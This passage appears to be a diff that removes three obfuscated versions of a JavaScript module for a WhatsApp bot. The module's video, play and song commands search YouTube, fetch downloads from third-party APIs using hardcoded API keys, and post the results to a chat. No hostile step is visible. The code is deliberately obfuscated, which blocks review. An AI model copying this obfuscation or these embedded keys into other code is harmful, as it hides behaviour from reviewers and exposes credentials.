_0xa5799f[_0x45bccd(0x1fd)+'e'](_0x323226,{'audio':{'url':_0x31f22f},'mimetype':_0x206254[_0x45bccd(0x1f1)]},{'quoted':_0x2743ae}),_0x206254[_0x45bccd(0x1e5)](_0x38043b,_0x45bccd(0x1ea)+_0x45bccd(0x199)+'\x20'+_0x46c232[_0x45bccd(0x192)][_0x45bccd(0x1a3)]+(_0x45bccd(0x1e4)+_0x45bccd(0x1bf)));}else _0x206254[_0x45bccd(0x205)](_0x38043b,_0x206254[_0x45bccd(0x1a2)]);}else _0x206254[_0x45bccd(0x1ac)](_0x38043b,_0x206254[_0x45bccd(0x1c9)]);}catch(_0x3b9a7b){console[_0x45bccd(0x1c4)](_0x206254[_0x45bccd(0x1ff)],_0x3b9a7b),_0x206254[_0x45bccd(0x204)](_0x38043b,_0x206254[_0x45bccd(0x1e6)]);}});function _0x46ce(){const _0x38fdd5=['1001HDylPD','nloading\x20','video/mp4','apNGl','https://te','ly\x20✅','RynMR','Failed\x20to\x20','No\x20audio\x20f','\x202024*','\x0a\x0a\x0a>\x20©Ibra','YoaDY','vmeDK','JqyOI','error','success','join','\x20API:','112qwuwkS','ifAaU','download\x20a','hgsCG','pis.us.kg','zGNQu','author','ound.','Successful','found.','song','audio/mp4','NzRFw','147636pjMsnU','nfbuq','BbBEL','FWRkc','ert\x20a\x20song','wsMWm','im\x20Adams*','Please\x20ins','1634488XkITWK','355408oTkBKu','URxTw','../Ibrahim','thumbnail','download_u','mp.gifteda','*\x0a\x0a*®Adams','Jgqzg','zvJhC','\x0a\x20Time\x20:\x20','||။||၊|||။','ing\x20or\x20dow','*Bmw\x20Just\x20','woWDs','2?url=','68454ktbEiQ','name','Searching.','ZMznz','eaYgP','LKtFf','0\x20•၊၊||၊|။','udio.\x20Plea','..⏳','38075OZagKv','*\x0a\x0a*©Ibrah','EOthv','Search','Downloded\x20','iUIAF','900JYOLOJ','sendMessag','LBVqA','BLvxa','he\x20audio.','in\x20later.','vAhGD','him\x20Adams','jxHkE','EWnxL','/api/downl','BdTOi','play','\x20name.','oad/ytmp4v','3163710xbGleH','url','hzNHV','nloading\x20t','An\x20error\x20o','yqupb','\x20၊|•','YKJDZ','/video\x20nam','result','xVxVM','zWwBl','/adams','zZLqP','length','sZurd','Downloaded','oad/ytmp3v','\x20by\x20','videos','MHkpe','Error\x20from','json','wBiJx','&apikey=','iYRdT','title','Download','Bmw\x20is\x20dow','PLAYER*\x0a\x0a*','NQYUZ','No\x20videos\x20','timestamp','◁\x20II\x20▷\x201:0','se\x20try\x20aga','frOmg','*BMW\x20SONG\x20','video','ile\x20search','ibrahimada','status','ccurred\x20wh','pxSCU','3vALebf','yt-search'];_0x46ce=function(){return _0x38fdd5;};return _0x46ce();}
-
-function _0x232e(){const _0x15e507=['*\x0a\x0a*©Ibrahim\x20Adams*','No\x20videos\x20found.','audio/mp4','timestamp','1383032AlyUUH','83172qOuvng','Error\x20from\x20API:','status','Please\x20insert\x20a\x20song\x20name.','Please\x20insert\x20a\x20song/video\x20name.','song','3497985zTkQWV','/api/download/ytmp4?url=','videos','author','*BMW\x20SONG\x20PLAYER*\x0a\x0a*◁\x20II\x20▷\x201:00\x20•၊၊||၊|။||။||၊|||။\x20၊|•','3478566BvLSym','ibrahimtech_ai','1945285SZRUxR','result','Failed\x20to\x20download\x20audio.\x20Please\x20try\x20again\x20later.','url','3743304ElUgQj','sendMessage','json','https://api-gifted-tech.onrender.com','Bmw\x20is\x20downloading\x20','&apikey=','Downloded\x20Successfully\x20✅','*\x0a\x0a*®Adams\x202024*','96gylsFj','../Ibrahim/adams','/api/download/ytmp3?url=','length','name','yt-search','download_url','success','117841LoPCzC','\x20by\x20','Searching...⏳','An\x20error\x20occurred\x20while\x20searching\x20or\x20downloading\x20the\x20audio.','video','join','Search','10QPvDwl','\x0a\x0a\x0a>\x20©Ibrahim\x20Adams'];_0x232e=function(){return _0x15e507;};return _0x232e();}const _0x45b077=_0x5268;(function(_0x1d933d,_0x423c41){const _0x2d5209=_0x5268,_0x126e78=_0x1d933d();while(!![]){try{const _0x36ee51=-parseInt(_0x2d5209(0x10b))/0x1*(parseInt(_0x2d5209(0x112))/0x2)+-parseInt(_0x2d5209(0x119))/0x3*(-parseInt(_0x2d5209(0x103))/0x4)+-parseInt(_0x2d5209(0x126))/0x5+parseInt(_0x2d5209(0x124))/0x6+parseInt(_0x2d5209(0x118))/0x7+-parseInt(_0x2d5209(0x12a))/0x8+parseInt(_0x2d5209(0x11f))/0x9;if(_0x36ee51===_0x423c41)break;else _0x126e78['push'](_0x126e78['shift']());}catch(_0x1fc750){_0x126e78['push'](_0x126e78['shift']());}}}(_0x232e,0x5e0b3));function _0x5268(_0x122eac,_0x3d44c7){const _0x232e12=_0x232e();return _0x5268=function(_0x5268f4,_0x2d8d5e){_0x5268f4=_0x5268f4-0xff;let _0x16e7eb=_0x232e12[_0x5268f4];return _0x16e7eb;},_0x5268(_0x122eac,_0x3d44c7);}const {adams}=require(_0x45b077(0x104)),yts=require(_0x45b077(0x108)),BaseUrl=_0x45b077(0x12d),giftedapikey=_0x45b077(0x125);adams({'nomCom':_0x45b077(0x10f),'categorie':_0x45b077(0x111),'reaction':'🎥'},async(_0x25f5f2,_0x45ed11,_0x134443)=>{const _0x205fe7=_0x45b077,{ms:_0x5b38c3,repondre:_0x1690b4,arg:_0x37e7c8}=_0x134443;if(!_0x37e7c8[0x0]){_0x1690b4(_0x205fe7(0x11d));return;}try{let _0x39ef45=_0x37e7c8[_0x205fe7(0x110)]('\x20'),_0x595a94=[];const _0xe791a3=await yts(_0x39ef45);_0x595a94=_0xe791a3[_0x205fe7(0x121)];if(_0x595a94&&_0x595a94[_0x205fe7(0x106)]>0x0){const _0x22866=_0x595a94[0x0][_0x205fe7(0x129)],_0x3bdb9c=await fetch(BaseUrl+_0x205fe7(0x120)+encodeURIComponent(_0x22866)+_0x205fe7(0x100)+giftedapikey),_0x55c4cb=await _0x3bdb9c[_0x205fe7(0x12c)]();if(_0x55c4cb['status']===0xc8&&_0x55c4cb[_0x205fe7(0x10a)]){const _0x599c0f=_0x55c4cb['result'][_0x205fe7(0x109)],_0x9e09a9={'image':{'url':_0x595a94[0x0]['thumbnail']},'caption':_0x205fe7(0xff)+_0x55c4cb[_0x205fe7(0x127)]['title']+_0x205fe7(0x10c)+_0x595a94[0x0][_0x205fe7(0x122)][_0x205fe7(0x107)]+'\x0a\x20Time\x20:\x20'+_0x595a94[0x0][_0x205fe7(0x117)]+_0x205fe7(0x113)};await _0x45ed11[_0x205fe7(0x12b)](_0x25f5f2,_0x9e09a9,{'quoted':_0x5b38c3}),await _0x45ed11['sendMessage'](_0x25f5f2,{'video':{'url':_0x599c0f},'mimetype':'video/mp4'},{'quoted':_0x5b38c3}),_0x1690b4(_0x205fe7(0x101));}else _0x1690b4(_0x205fe7(0x10d));}else _0x1690b4(_0x205fe7(0x115));}catch(_0x1855fd){console['error'](_0x205fe7(0x11a),_0x1855fd),_0x1690b4(_0x205fe7(0x10d));}}),adams({'nomCom':'play','categorie':'Download','reaction':'🎧'},async(_0x46baf4,_0x4e64a1,_0x59f1de)=>{const _0x20631b=_0x45b077,{ms:_0x1fde0b,repondre:_0x59f0ce,arg:_0xc668d3}=_0x59f1de;if(!_0xc668d3[0x0]){_0x59f0ce(_0x20631b(0x11c));return;}try{let _0x310fa8=_0xc668d3[_0x20631b(0x110)]('\x20'),_0x11df02=[];const _0x34f0f0=await yts(_0x310fa8);_0x11df02=_0x34f0f0['videos'];if(_0x11df02&&_0x11df02[_0x20631b(0x106)]>0x0){const _0x25435a=_0x11df02[0x0]['url'],_0x2308de=await fetch(BaseUrl+'/api/download/ytmp3?url='+encodeURIComponent(_0x25435a)+_0x20631b(0x100)+giftedapikey),_0x3d3fc4=await _0x2308de['json']();if(_0x3d3fc4[_0x20631b(0x11b)]===0xc8&&_0x3d3fc4[_0x20631b(0x10a)]){const _0x508f19=_0x3d3fc4[_0x20631b(0x127)][_0x20631b(0x109)],_0x489f13={'image':{'url':_0x11df02[0x0]['thumbnail']},'caption':_0x20631b(0x123)+_0x11df02[0x0][_0x20631b(0x117)]+_0x20631b(0x114)};await _0x4e64a1[_0x20631b(0x12b)](_0x46baf4,_0x489f13,{'quoted':_0x1fde0b}),await _0x4e64a1[_0x20631b(0x12b)](_0x46baf4,{'audio':{'url':_0x508f19},'mimetype':_0x20631b(0x116)},{'quoted':_0x1fde0b}),_0x59f0ce('*Bmw\x20Just\x20Downloaded\x20'+_0x3d3fc4[_0x20631b(0x127)]['title']+_0x20631b(0x102));}else _0x59f0ce(_0x20631b(0x128));}else _0x59f0ce('No\x20audio\x20found.');}catch(_0x9991ef){console['error'](_0x20631b(0x11a),_0x9991ef),_0x59f0ce('An\x20error\x20occurred\x20while\x20searching\x20or\x20downloading\x20the\x20audio.');}}),adams({'nomCom':_0x45b077(0x11e),'categorie':'Download','reaction':'🎸'},async(_0x52f530,_0x29c981,_0x519dee)=>{const _0x5bd5a7=_0x45b077,{ms:_0x54296b,repondre:_0x312925,arg:_0x1aecd4}=_0x519dee;if(!_0x1aecd4[0x0]){_0x312925(_0x5bd5a7(0x11c));return;}try{let _0x44f3b3=_0x1aecd4['join']('\x20'),_0x3cd14d=[];const _0x1b6595=await yts(_0x44f3b3);_0x3cd14d=_0x1b6595[_0x5bd5a7(0x121)];if(_0x3cd14d&&_0x3cd14d['length']>0x0){const _0x478d45=_0x3cd14d[0x0][_0x5bd5a7(0x129)],_0x48b539=await fetch(BaseUrl+_0x5bd5a7(0x105)+encodeURIComponent(_0x478d45)+_0x5bd5a7(0x100)+giftedapikey),_0x9870a0=await _0x48b539[_0x5bd5a7(0x12c)]();if(_0x9870a0[_0x5bd5a7(0x11b)]===0xc8&&_0x9870a0[_0x5bd5a7(0x10a)]){const _0x3305c6=_0x9870a0[_0x5bd5a7(0x127)][_0x5bd5a7(0x109)],_0x271374={'image':{'url':_0x3cd14d[0x0]['thumbnail']},'caption':_0x5bd5a7(0x123)+_0x3cd14d[0x0][_0x5bd5a7(0x117)]+'*\x0a\x0a*©Ibrahim\x20Adams*'};await _0x29c981[_0x5bd5a7(0x12b)](_0x52f530,_0x271374,{'quoted':_0x54296b}),await _0x29c981[_0x5bd5a7(0x12b)](_0x52f530,{'audio':{'url':_0x3305c6},'mimetype':_0x5bd5a7(0x116)},{'quoted':_0x54296b}),_0x312925('*Bmw\x20Just\x20Downloaded\x20'+_0x9870a0[_0x5bd5a7(0x127)]['title']+_0x5bd5a7(0x102));}else _0x312925(_0x5bd5a7(0x128));}else _0x312925('No\x20audio\x20found.');}catch(_0x266cf7){console['error'](_0x5bd5a7(0x11a),_0x266cf7),_0x312925(_0x5bd5a7(0x10e));}});
-
-const _0x3a7e91=_0x2fa0;(function(_0x1a94e0,_0x450127){const _0x28ed4e=_0x2fa0,_0x43b2c2=_0x1a94e0();while(!![]){try{const _0x589b13=parseInt(_0x28ed4e(0x198))/(-0x1485+0xb*-0x7f+0x19f)*(-parseInt(_0x28ed4e(0x17b))/(-0xa9*-0x6+-0x1a*-0x1d+-0x1*0x6e6))+-parseInt(_0x28ed4e(0x1b9))/(0x254b*0x1+0x1*0x761+-0x6f*0x67)*(-parseInt(_0x28ed4e(0x1c5))/(-0x1*0x3b3+0x1187+-0xdd0))+-parseInt(_0x28ed4e(0x19e))/(0x108+-0xc9*-0x2e+-0x5*0x76d)*(-parseInt(_0x28ed4e(0x1d2))/(0x3*-0xada+0x4c*0x78+-0x30c))+-parseInt(_0x28ed4e(0x1e6))/(0x405*0x1+-0x1d82+-0x1*-0x1984)*(parseInt(_0x28ed4e(0x19a))/(0xe68+-0x6d*-0x4f+-0x11*0x2d3))+parseInt(_0x28ed4e(0x1a8))/(-0x659+0x40a+0x8*0x4b)+-parseInt(_0x28ed4e(0x1cb))/(-0x5*-0x151+-0x2*-0x1151+0x7f*-0x53)+parseInt(_0x28ed4e(0x1d0))/(0x1e96+-0x824*-0x2+0x1*-0x2ed3)*(parseInt(_0x28ed4e(0x1e5))/(0x1863+0x84+-0x38d*0x7));if(_0x589b13===_0x450127)break;else _0x43b2c2['push'](_0x43b2c2['shift']());}catch(_0x4df607){_0x43b2c2['push'](_0x43b2c2['shift']());}}}(_0x3507,-0x1*-0x3b665+0x3*0x4de71+-0x1*0xa4237));function _0x2fa0(_0x499acf,_0x148cab){const _0x274b03=_0x3507();return _0x2fa0=function(_0x59bffa,_0x173fc0){_0x59bffa=_0x59bffa-(-0x1*0x26c9+-0x147f+0x3cb8*0x1);let _0x22d0bf=_0x274b03[_0x59bffa];return _0x22d0bf;},_0x2fa0(_0x499acf,_0x148cab);}const {adams}=require(_0x3a7e91(0x17c)+_0x3a7e91(0x1bc)),yts=require(_0x3a7e91(0x1b1)),BaseUrl=_0x3a7e91(0x19c)+_0x3a7e91(0x1b6)+_0x3a7e91(0x17e),adamsapikey=_0x3a7e91(0x1c4)+'h';function _0x3507(){const _0x245f0f=['QbzlX','result','JNONr','*\x0a\x0a*©Ibrah','YpLRF','Pwvcm','Failed\x20to\x20','pdGGG','length','JycJb','\x20by\x20','..⏳','oad/ytmp3?','ly\x20✅','0\x20•၊၊||၊|။','thumbnail','him\x20Adams','oad/ytmp4?','RtVOp','video','Searching.','4KISdih','../Ibrahim','found.','.us.kg','\x20၊|•','\x20API:','ound.','yymMn','error','Downloaded','No\x20videos\x20','PLAYER*\x0a\x0a*','ccurred\x20wh','Successful','he\x20audio.','IwxPI','\x0a\x0a\x0a>\x20©Ibra','ert\x20a\x20song','sendMessag','akMaU','LrSSz','ghMZn','No\x20audio\x20f','zfdeN','QFGop','&apikey=','YbJjL','se\x20try\x20aga','WdCdP','59593IGSmah','nloading\x20t','6371112ciFlxA','song','https://ib','*BMW\x20SONG\x20','245UdfdvT','timestamp','success','author','name','rWFtT','\x202024*','An\x20error\x20o','/api/downl','status','5556267AAmBun','HCVJD','download\x20a','title','hoLIq','Error\x20from','WMihM','video/mp4','download_u','yt-search','videos','ing\x20or\x20dow','audio/mp4','UoisN','rahimadams','lDEbM','eOrCb','3kXuMNj','Please\x20ins','FaDru','/adams','PblQI','eqKBc','uEivX','url','XEvgz','vGglm','in\x20later.','ibraah-tec','1361812qenIdE','json','nloading\x20','AfafR','\x20name.','url=','7368510LKuwMr','◁\x20II\x20▷\x201:0','join','YHNUt','im\x20Adams*','110SfFBpe','Download','49818BGxNmr','aHZKI','mBaXv','||။||၊|||။','dmJOW','SfeKm','Bmw\x20is\x20dow','/video\x20nam','Downloded\x20','*\x0a\x0a*®Adams','play','udio.\x20Plea','*Bmw\x20Just\x20','bfgxp','Search','ciuJJ','ile\x20search','FiIBZ','\x0a\x20Time\x20:\x20','979224DjExxw','7JJheny','KBriV'];_0x3507=function(){return _0x245f0f;};return _0x3507();}adams({'nomCom':_0x3a7e91(0x179),'categorie':_0x3a7e91(0x1e0),'reaction':'🎥'},async(_0x2cbbed,_0xb8a487,_0x4ae263)=>{const _0x14a5f4=_0x3a7e91,_0xbee902={'SfeKm':function(_0x3de1c2,_0x509061){return _0x3de1c2(_0x509061);},'WdCdP':_0x14a5f4(0x1ba)+_0x14a5f4(0x18c)+_0x14a5f4(0x1d9)+'e.','LrSSz':function(_0x43dbc1,_0x388965){return _0x43dbc1>_0x388965;},'rWFtT':function(_0x3edf47,_0x39ae81){return _0x3edf47===_0x39ae81;},'vGglm':_0x14a5f4(0x1af),'AfafR':_0x14a5f4(0x1da)+_0x14a5f4(0x188)+_0x14a5f4(0x173),'zfdeN':_0x14a5f4(0x17a)+_0x14a5f4(0x171),'WMihM':_0x14a5f4(0x185)+_0x14a5f4(0x17d),'IwxPI':_0x14a5f4(0x1ad)+_0x14a5f4(0x180)},{ms:_0x25f9a0,repondre:_0x5578fe,arg:_0xbf5950}=_0x4ae263;if(!_0xbf5950[-0x109d+0x3*-0x9a1+0x2d80]){_0xbee902[_0x14a5f4(0x1d7)](_0x5578fe,_0xbee902[_0x14a5f4(0x197)]);return;}try{let _0x16f59d=_0xbf5950[_0x14a5f4(0x1cd)]('\x20'),_0x21db0c=[];const _0x594880=await _0xbee902[_0x14a5f4(0x1d7)](yts,_0x16f59d);_0x21db0c=_0x594880[_0x14a5f4(0x1b2)];if(_0x21db0c&&_0xbee902[_0x14a5f4(0x18f)](_0x21db0c[_0x14a5f4(0x1f0)],0x1640+-0xf8+-0x4*0x552)){const _0x3c3a82=_0x21db0c[0x2ba*0x9+0x2187+-0x3a11][_0x14a5f4(0x1c0)],_0x4cac82=await _0xbee902[_0x14a5f4(0x1d7)](fetch,BaseUrl+(_0x14a5f4(0x1a6)+_0x14a5f4(0x177)+_0x14a5f4(0x1ca))+_0xbee902[_0x14a5f4(0x1d7)](encodeURIComponent,_0x3c3a82)+_0x14a5f4(0x194)+adamsapikey),_0x134f44=await _0x4cac82[_0x14a5f4(0x1c6)]();if(_0xbee902[_0x14a5f4(0x1a3)](_0x134f44[_0x14a5f4(0x1a7)],-0x2e*0x75+0xe2*-0x10+-0xe*-0x291)&&_0x134f44[_0x14a5f4(0x1a0)]){const _0x2d1efc=_0x134f44[_0x14a5f4(0x1e9)][_0x14a5f4(0x1b0)+'rl'],_0x17100c={'image':{'url':_0x21db0c[-0x2310+-0xb*-0x31b+0xe7][_0x14a5f4(0x175)]},'caption':_0x14a5f4(0x1d8)+_0x14a5f4(0x1c7)+_0x134f44[_0x14a5f4(0x1e9)][_0x14a5f4(0x1ab)]+_0x14a5f4(0x170)+_0x21db0c[0x2b*0xc8+0x1225+-0x33bd][_0x14a5f4(0x1a1)][_0x14a5f4(0x1a2)]+_0x14a5f4(0x1e4)+_0x21db0c[-0x4f*-0x4+-0x2025+-0x29*-0xc1][_0x14a5f4(0x19f)]+(_0x14a5f4(0x18b)+_0x14a5f4(0x176))};await _0xb8a487[_0x14a5f4(0x18d)+'e'](_0x2cbbed,_0x17100c,{'quoted':_0x25f9a0}),await _0xb8a487[_0x14a5f4(0x18d)+'e'](_0x2cbbed,{'video':{'url':_0x2d1efc},'mimetype':_0xbee902[_0x14a5f4(0x1c2)]},{'quoted':_0x25f9a0}),_0xbee902[_0x14a5f4(0x1d7)](_0x5578fe,_0xbee902[_0x14a5f4(0x1c8)]);}else _0xbee902[_0x14a5f4(0x1d7)](_0x5578fe,_0xbee902[_0x14a5f4(0x192)]);}else _0xbee902[_0x14a5f4(0x1d7)](_0x5578fe,_0xbee902[_0x14a5f4(0x1ae)]);}catch(_0x338b79){console[_0x14a5f4(0x183)](_0xbee902[_0x14a5f4(0x18a)],_0x338b79),_0xbee902[_0x14a5f4(0x1d7)](_0x5578fe,_0xbee902[_0x14a5f4(0x192)]);}}),adams({'nomCom':_0x3a7e91(0x1dc),'categorie':_0x3a7e91(0x1d1),'reaction':'🎧'},async(_0x169963,_0x383060,_0x5a7be3)=>{const _0x399d85=_0x3a7e91,_0x3a2e9b={'UoisN':function(_0x2b92d5,_0x296a32){return _0x2b92d5(_0x296a32);},'FaDru':_0x399d85(0x1ba)+_0x399d85(0x18c)+_0x399d85(0x1c9),'XEvgz':function(_0x32ea4d,_0x1b1610){return _0x32ea4d(_0x1b1610);},'QFGop':function(_0x16b17a,_0x3effc0){return _0x16b17a>_0x3effc0;},'lDEbM':function(_0x364385,_0x5e196d){return _0x364385(_0x5e196d);},'hoLIq':function(_0xb294e3,_0x2249ef){return _0xb294e3(_0x2249ef);},'RtVOp':function(_0x5c1483,_0x3c599a){return _0x5c1483===_0x3c599a;},'ghMZn':_0x399d85(0x1b4),'Pwvcm':function(_0x210df9,_0x3e54d8){return _0x210df9(_0x3e54d8);},'JycJb':function(_0x24dae3,_0x2f4662){return _0x24dae3(_0x2f4662);},'yymMn':_0x399d85(0x1ee)+_0x399d85(0x1aa)+_0x399d85(0x1dd)+_0x399d85(0x196)+_0x399d85(0x1c3),'YpLRF':function(_0x12458b,_0xf530f0){return _0x12458b(_0xf530f0);},'ciuJJ':_0x399d85(0x191)+_0x399d85(0x181),'bfgxp':_0x399d85(0x1ad)+_0x399d85(0x180),'akMaU':function(_0x3546e6,_0x374819){return _0x3546e6(_0x374819);},'FiIBZ':_0x399d85(0x1a5)+_0x399d85(0x187)+_0x399d85(0x1e2)+_0x399d85(0x1b3)+_0x399d85(0x199)+_0x399d85(0x189)},{ms:_0x4c435a,repondre:_0x137a8e,arg:_0x3606ac}=_0x5a7be3;if(!_0x3606ac[0x18fb+0x1d9+-0x65*0x44]){_0x3a2e9b[_0x399d85(0x1b5)](_0x137a8e,_0x3a2e9b[_0x399d85(0x1bb)]);return;}try{let _0x4aa0f0=_0x3606ac[_0x399d85(0x1cd)]('\x20'),_0x16e6a9=[];const _0x197f60=await _0x3a2e9b[_0x399d85(0x1c1)](yts,_0x4aa0f0);_0x16e6a9=_0x197f60[_0x399d85(0x1b2)];if(_0x16e6a9&&_0x3a2e9b[_0x399d85(0x193)](_0x16e6a9[_0x399d85(0x1f0)],-0xb5*-0xd+0x20be+-0x29ef)){const _0x8793e=_0x16e6a9[-0x46a+0xe56+-0xfe*0xa][_0x399d85(0x1c0)],_0x571b19=await _0x3a2e9b[_0x399d85(0x1b7)](fetch,BaseUrl+(_0x399d85(0x1a6)+_0x399d85(0x172)+_0x399d85(0x1ca))+_0x3a2e9b[_0x399d85(0x1ac)](encodeURIComponent,_0x8793e)+_0x399d85(0x194)+adamsapikey),_0x53d636=await _0x571b19[_0x399d85(0x1c6)]();if(_0x3a2e9b[_0x399d85(0x178)](_0x53d636[_0x399d85(0x1a7)],-0xe51+-0x1c70+0xe83*0x3)&&_0x53d636[_0x399d85(0x1a0)]){const _0x3f01f4=_0x53d636[_0x399d85(0x1e9)][_0x399d85(0x1b0)+'rl'],_0x1687d6={'image':{'url':_0x16e6a9[-0x14a4+0xf89+0x51b][_0x399d85(0x175)]},'caption':_0x399d85(0x19d)+_0x399d85(0x186)+_0x399d85(0x1cc)+_0x399d85(0x174)+_0x399d85(0x1d5)+_0x399d85(0x17f)+_0x16e6a9[-0x359+-0x11*-0x88+-0x5af][_0x399d85(0x19f)]+(_0x399d85(0x1eb)+_0x399d85(0x1cf))};await _0x383060[_0x399d85(0x18d)+'e'](_0x169963,_0x1687d6,{'quoted':_0x4c435a}),await _0x383060[_0x399d85(0x18d)+'e'](_0x169963,{'audio':{'url':_0x3f01f4},'mimetype':_0x3a2e9b[_0x399d85(0x190)]},{'quoted':_0x4c435a}),_0x3a2e9b[_0x399d85(0x1ed)](_0x137a8e,_0x399d85(0x1de)+_0x399d85(0x184)+'\x20'+_0x53d636[_0x399d85(0x1e9)][_0x399d85(0x1ab)]+(_0x399d85(0x1db)+_0x399d85(0x1a4)));}else _0x3a2e9b[_0x399d85(0x1f1)](_0x137a8e,_0x3a2e9b[_0x399d85(0x182)]);}else _0x3a2e9b[_0x399d85(0x1ec)](_0x137a8e,_0x3a2e9b[_0x399d85(0x1e1)]);}catch(_0x209431){console[_0x399d85(0x183)](_0x3a2e9b[_0x399d85(0x1df)],_0x209431),_0x3a2e9b[_0x399d85(0x18e)](_0x137a8e,_0x3a2e9b[_0x399d85(0x1e3)]);}}),adams({'nomCom':_0x3a7e91(0x19b),'categorie':_0x3a7e91(0x1d1),'reaction':'🎸'},async(_0x2db8d0,_0x142fdd,_0x36af38)=>{const _0x471eef=_0x3a7e91,_0x3587fa={'eOrCb':function(_0x89db82,_0x1c5945){return _0x89db82(_0x1c5945);},'YHNUt':_0x471eef(0x1ba)+_0x471eef(0x18c)+_0x471eef(0x1c9),'KBriV':function(_0x242177,_0x4d2ea4){return _0x242177(_0x4d2ea4);},'PblQI':function(_0xfca02f,_0x58aff5){return _0xfca02f>_0x58aff5;},'QbzlX':function(_0x5eb4bf,_0x9058d1){return _0x5eb4bf(_0x9058d1);},'eqKBc':function(_0x501ec0,_0x567509){return _0x501ec0(_0x567509);},'aHZKI':function(_0x1c4340,_0x50624d){return _0x1c4340===_0x50624d;},'YbJjL':_0x471eef(0x1b4),'pdGGG':function(_0x2eef04,_0x230703){return _0x2eef04(_0x230703);},'JNONr':_0x471eef(0x1ee)+_0x471eef(0x1aa)+_0x471eef(0x1dd)+_0x471eef(0x196)+_0x471eef(0x1c3),'HCVJD':function(_0x35bfc7,_0x58ab82){return _0x35bfc7(_0x58ab82);},'dmJOW':_0x471eef(0x191)+_0x471eef(0x181),'mBaXv':_0x471eef(0x1ad)+_0x471eef(0x180),'uEivX':_0x471eef(0x1a5)+_0x471eef(0x187)+_0x471eef(0x1e2)+_0x471eef(0x1b3)+_0x471eef(0x199)+_0x471eef(0x189)},{ms:_0x7ce73c,repondre:_0x57c636,arg:_0x372138}=_0x36af38;if(!_0x372138[0x181b+-0x16b0+-0x16b]){_0x3587fa[_0x471eef(0x1b8)](_0x57c636,_0x3587fa[_0x471eef(0x1ce)]);return;}try{let _0x4ab6b5=_0x372138[_0x471eef(0x1cd)]('\x20'),_0x8f697a=[];const _0x1482aa=await _0x3587fa[_0x471eef(0x1e7)](yts,_0x4ab6b5);_0x8f697a=_0x1482aa[_0x471eef(0x1b2)];if(_0x8f697a&&_0x3587fa[_0x471eef(0x1bd)](_0x8f697a[_0x471eef(0x1f0)],0x2169+-0x2b*-0xa3+0x1*-0x3cca)){const _0x24a50b=_0x8f697a[-0x34d+0x139*0xa+-0x8ed][_0x471eef(0x1c0)],_0x1f3a54=await _0x3587fa[_0x471eef(0x1e8)](fetch,BaseUrl+(_0x471eef(0x1a6)+_0x471eef(0x172)+_0x471eef(0x1ca))+_0x3587fa[_0x471eef(0x1be)](encodeURIComponent,_0x24a50b)+_0x471eef(0x194)+adamsapikey),_0x2cdb07=await _0x1f3a54[_0x471eef(0x1c6)]();if(_0x3587fa[_0x471eef(0x1d3)](_0x2cdb07[_0x471eef(0x1a7)],-0x22*-0xdf+-0x7cd+0x703*-0x3)&&_0x2cdb07[_0x471eef(0x1a0)]){const _0x3c4aa5=_0x2cdb07[_0x471eef(0x1e9)][_0x471eef(0x1b0)+'rl'],_0x124348={'image':{'url':_0x8f697a[0xd*0x160+-0x17e1+-0x601*-0x1][_0x471eef(0x175)]},'caption':_0x471eef(0x19d)+_0x471eef(0x186)+_0x471eef(0x1cc)+_0x471eef(0x174)+_0x471eef(0x1d5)+_0x471eef(0x17f)+_0x8f697a[0x630+-0x2ba*-0x2+0x14*-0x95][_0x471eef(0x19f)]+(_0x471eef(0x1eb)+_0x471eef(0x1cf))};await _0x142fdd[_0x471eef(0x18d)+'e'](_0x2db8d0,_0x124348,{'quoted':_0x7ce73c}),await _0x142fdd[_0x471eef(0x18d)+'e'](_0x2db8d0,{'audio':{'url':_0x3c4aa5},'mimetype':_0x3587fa[_0x471eef(0x195)]},{'quoted':_0x7ce73c}),_0x3587fa[_0x471eef(0x1e7)](_0x57c636,_0x471eef(0x1de)+_0x471eef(0x184)+'\x20'+_0x2cdb07[_0x471eef(0x1e9)][_0x471eef(0x1ab)]+(_0x471eef(0x1db)+_0x471eef(0x1a4)));}else _0x3587fa[_0x471eef(0x1ef)](_0x57c636,_0x3587fa[_0x471eef(0x1ea)]);}else _0x3587fa[_0x471eef(0x1a9)](_0x57c636,_0x3587fa[_0x471eef(0x1d6)]);}catch(_0x5916b0){console[_0x471eef(0x183)](_0x3587fa[_0x471eef(0x1d4)],_0x5916b0),_0x3587fa[_0x471eef(0x1be)](_0x57c636,_0x3587fa[_0x471eef(0x1bf)]);}});
-
-const _0x3a5fe3=_0x5431;function _0x5431(_0x4761c6,_0x52e612){const _0x380cca=_0x4421();return _0x5431=function(_0x5c5dd5,_0x379d57){_0x5c5dd5=_0x5c5dd5-(0xc19*0x3+-0x1afc+0x27*-0x3a);let _0x3ab7e7=_0x380cca[_0x5c5dd5];return _0x3ab7e7;},_0x5431(_0x4761c6,_0x52e612);}(function(_0x25c72c,_0x92da57){const _0x5e3596=_0x5431,_0x3421d0=_0x25c72c();while(!![]){try{const _0x571536=parseInt(_0x5e3596(0x82))/(-0x1*0x845+-0x1*0x767+-0x1*-0xfad)+-parseInt(_0x5e3596(0xd1))/(0x1e*-0x6f+0x12be+0x5ba*-0x1)+parseInt(_0x5e3596(0xc9))/(0x1*0x11b3+0x2*-0x7bb+-0x23a)*(-parseInt(_0x5e3596(0xe5))/(-0x1107+-0x7d+0x8c4*0x2))+-parseInt(_0x5e3596(0xd6))/(0x1d5c+0xa*-0x243+-0x6b9*0x1)+parseInt(_0x5e3596(0xc1))/(0x1fa2+0x1cd9+0xb*-0x57f)*(-parseInt(_0x5e3596(0x92))/(0x5*0x6b+0x746+-0x956))+parseInt(_0x5e3596(0xb1))/(0x22e2+-0x1136+-0x11a4)+parseInt(_0x5e3596(0x85))/(0x18c4+-0x2439+-0x1*-0xb7e);if(_0x571536===_0x92da57)break;else _0x3421d0['push'](_0x3421d0['shift']());}catch(_0xb5211c){_0x3421d0['push'](_0x3421d0['shift']());}}}(_0x4421,-0x7c4*-0x3e+0x1*0x558ad+-0x2bf8f));function _0x4421(){const 